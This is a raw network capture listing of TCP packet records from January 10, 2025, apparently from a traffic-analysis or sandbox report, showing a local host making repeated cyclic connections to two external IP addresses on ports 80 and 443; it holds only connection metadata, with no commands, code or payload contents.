Jan 10, 2025 21:41:52.429270983 CET	49981	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:52.986608028 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:52.988408089 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:52.988418102 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:52.988476992 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:52.988485098 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:53.376559973 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:53.376641989 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:53.376811028 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:53.377234936 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:53.380752087 CET	49981	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:53.381429911 CET	49995	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:53.385791063 CET	80	49981	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:53.386213064 CET	80	49995	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:53.386287928 CET	49981	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:53.386315107 CET	49995	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:53.386478901 CET	49995	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:53.391222954 CET	80	49995	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:54.219739914 CET	80	49995	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:54.221095085 CET	50001	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:54.221143961 CET	443	50001	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:54.221216917 CET	50001	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:54.221498966 CET	50001	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:54.221519947 CET	443	50001	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:54.272968054 CET	49995	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:54.833764076 CET	443	50001	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:54.843195915 CET	50001	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:54.843226910 CET	443	50001	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:54.843285084 CET	50001	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:54.843296051 CET	443	50001	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:55.154045105 CET	443	50001	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:55.154125929 CET	443	50001	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:55.154180050 CET	50001	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:55.154541969 CET	50001	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:55.157998085 CET	49995	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:55.159280062 CET	50008	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:55.162967920 CET	80	49995	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:55.163023949 CET	49995	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:55.164060116 CET	80	50008	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:55.164122105 CET	50008	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:55.164277077 CET	50008	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:55.168989897 CET	80	50008	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:56.004151106 CET	80	50008	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:56.008688927 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:56.008729935 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:56.010838985 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:56.011135101 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:56.011149883 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:56.054194927 CET	50008	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:56.645057917 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:56.646806002 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:56.646816015 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:56.646891117 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:56.646900892 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:56.893575907 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:56.893644094 CET	443	50014	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:56.893691063 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:56.894061089 CET	50014	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:56.897334099 CET	50008	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:56.897972107 CET	50021	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:56.902220011 CET	80	50008	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:56.902291059 CET	50008	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:56.902759075 CET	80	50021	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:56.902822018 CET	50021	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:56.902923107 CET	50021	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:56.907676935 CET	80	50021	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:57.748101950 CET	80	50021	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:57.749735117 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:57.749777079 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:57.749924898 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:57.750593901 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:57.750611067 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:57.788552046 CET	50021	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:58.408885002 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:58.410641909 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:58.410657883 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:58.410757065 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:58.410762072 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:58.883096933 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:58.883193970 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:58.883574009 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:58.883795977 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:58.886930943 CET	50021	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:58.888102055 CET	50023	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:58.891927958 CET	80	50021	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:58.892025948 CET	50021	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:58.892865896 CET	80	50023	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:58.892946959 CET	50023	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:58.893111944 CET	50023	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:58.898372889 CET	80	50023	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:59.822940111 CET	80	50023	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:59.824271917 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:59.824326992 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:59.824413061 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:59.824755907 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:59.824773073 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:59.866717100 CET	50023	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:00.460416079 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:00.462094069 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:00.462133884 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:00.462182999 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:00.462191105 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:00.709445000 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:00.709536076 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:00.709618092 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:00.710133076 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:00.713121891 CET	50023	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:00.714291096 CET	50025	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:00.718683004 CET	80	50023	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:00.718775034 CET	50023	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:00.719762087 CET	80	50025	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:00.719877958 CET	50025	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:00.720055103 CET	50025	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:00.725796938 CET	80	50025	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:02.217138052 CET	80	50025	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:02.222345114 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:02.222398043 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:02.222457886 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:02.222812891 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:02.222822905 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:02.272969007 CET	50025	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:02.829886913 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:02.831707954 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:02.831774950 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:02.831837893 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:02.831859112 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:03.304996014 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:03.307559967 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:03.307629108 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:03.308073997 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:03.311326981 CET	50025	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:03.312346935 CET	50027	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:03.316345930 CET	80	50025	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:03.316412926 CET	50025	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:03.317166090 CET	80	50027	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:03.317225933 CET	50027	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:03.317325115 CET	50027	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:03.322103977 CET	80	50027	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:04.154455900 CET	80	50027	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:04.156013966 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:04.156064987 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:04.156156063 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:04.156579971 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:04.156594992 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:04.194948912 CET	50027	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:04.797461987 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:04.799295902 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:04.799324989 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:04.799376011 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:04.799384117 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:05.344127893 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:05.344224930 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:05.344345093 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:05.344777107 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:05.348279953 CET	50027	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:05.349452972 CET	50029	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:05.353859901 CET	80	50027	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:05.354000092 CET	50027	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:05.354293108 CET	80	50029	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:05.354388952 CET	50029	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:05.354499102 CET	50029	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:05.359323025 CET	80	50029	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:06.380877018 CET	80	50029	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:06.382162094 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:06.382215023 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:06.382334948 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:06.382767916 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:06.382781029 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:06.429229021 CET	50029	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:07.006601095 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:07.009162903 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:07.009186983 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:07.009253025 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:07.009260893 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:07.250453949 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:07.250547886 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:07.250626087 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:07.253832102 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:07.289598942 CET	50029	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:07.294516087 CET	80	50029	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:07.294622898 CET	50029	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:07.300981998 CET	50031	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:07.305792093 CET	80	50031	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:07.305896997 CET	50031	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:07.306477070 CET	50031	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:07.311177969 CET	80	50031	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:08.975754976 CET	80	50031	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:08.976102114 CET	80	50031	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:08.976309061 CET	50031	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:08.976408005 CET	80	50031	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:08.977075100 CET	50031	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:08.977076054 CET	50031	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:08.978781939 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:08.978822947 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:08.979244947 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:08.979244947 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:08.979273081 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:08.982351065 CET	80	50031	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:08.982820034 CET	50031	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:09.618999958 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:09.620995998 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:09.621014118 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:09.621061087 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:09.621068001 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:09.956157923 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:09.956252098 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:09.956314087 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:10.003516912 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:10.008671045 CET	50033	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:10.013756037 CET	80	50033	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:10.013864040 CET	50033	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:10.014390945 CET	50033	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:10.019233942 CET	80	50033	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:10.871510983 CET	80	50033	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:10.872766018 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:10.872819901 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:10.872880936 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:10.873150110 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:10.873166084 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:10.913558960 CET	50033	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:11.532707930 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:11.534563065 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:11.534590960 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:11.534688950 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:11.534696102 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:11.868375063 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:11.868465900 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:11.868567944 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:11.869158983 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:11.871681929 CET	50033	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:11.872935057 CET	50035	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:11.876705885 CET	80	50033	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:11.877060890 CET	50033	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:11.877705097 CET	80	50035	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:11.877785921 CET	50035	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:11.878213882 CET	50035	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:11.883060932 CET	80	50035	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:13.090872049 CET	80	50035	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:13.092283964 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:13.092340946 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:13.092420101 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:13.092713118 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:13.092729092 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:13.132415056 CET	50035	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:13.711035013 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:13.712809086 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:13.712843895 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:13.712992907 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:13.713000059 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:13.974138021 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:13.974261999 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:13.974349976 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:13.974786997 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:13.979644060 CET	50037	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:13.984472036 CET	80	50037	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:13.984575033 CET	50037	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:13.984704018 CET	50037	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:13.989439011 CET	80	50037	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:14.813391924 CET	80	50037	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:14.814799070 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:14.814825058 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:14.814980030 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:14.815201998 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:14.815212011 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:14.866772890 CET	50037	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:15.427823067 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:15.429642916 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:15.429672003 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:15.429729939 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:15.429738998 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:15.775634050 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:15.775718927 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:15.775849104 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:15.776391983 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:15.779865980 CET	50037	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:15.780585051 CET	50039	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:15.784857988 CET	80	50037	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:15.784957886 CET	50037	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:15.785347939 CET	80	50039	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:15.785418034 CET	50039	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:15.785559893 CET	50039	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:15.790322065 CET	80	50039	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:16.615860939 CET	80	50039	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:16.623238087 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:16.623281002 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:16.623306036 CET	50035	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:16.623358011 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:16.623743057 CET	49750	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:16.623826027 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:16.623842955 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:16.663578987 CET	50039	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:17.257731915 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:17.260262966 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:17.260276079 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:17.260325909 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:17.260332108 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:17.647079945 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:17.647161961 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:17.647325039 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:17.648277998 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:17.651798964 CET	50039	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:17.653079987 CET	50041	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:17.656824112 CET	80	50039	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:17.656905890 CET	50039	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:17.657857895 CET	80	50041	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:17.657943010 CET	50041	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:17.658076048 CET	50041	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:17.662832975 CET	80	50041	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:19.500050068 CET	80	50041	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:19.507417917 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:19.507462978 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:19.507819891 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:19.507819891 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:19.507858992 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:19.554203987 CET	50041	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:20.134785891 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:20.136687040 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:20.136714935 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:20.136779070 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:20.136785030 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:20.575767040 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:20.575870037 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:20.575948954 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:20.576462030 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:20.579492092 CET	50041	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:20.580657959 CET	50043	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:20.584461927 CET	80	50041	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:20.584539890 CET	50041	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:20.585452080 CET	80	50043	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:20.585520983 CET	50043	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:20.585624933 CET	50043	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:20.590475082 CET	80	50043	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:21.412628889 CET	80	50043	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:21.460448980 CET	50043	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:24.342787027 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:24.342837095 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:24.343193054 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:24.343194008 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:24.343229055 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:24.948487043 CET	443	50044	149.154.167.220	192.168.2.9
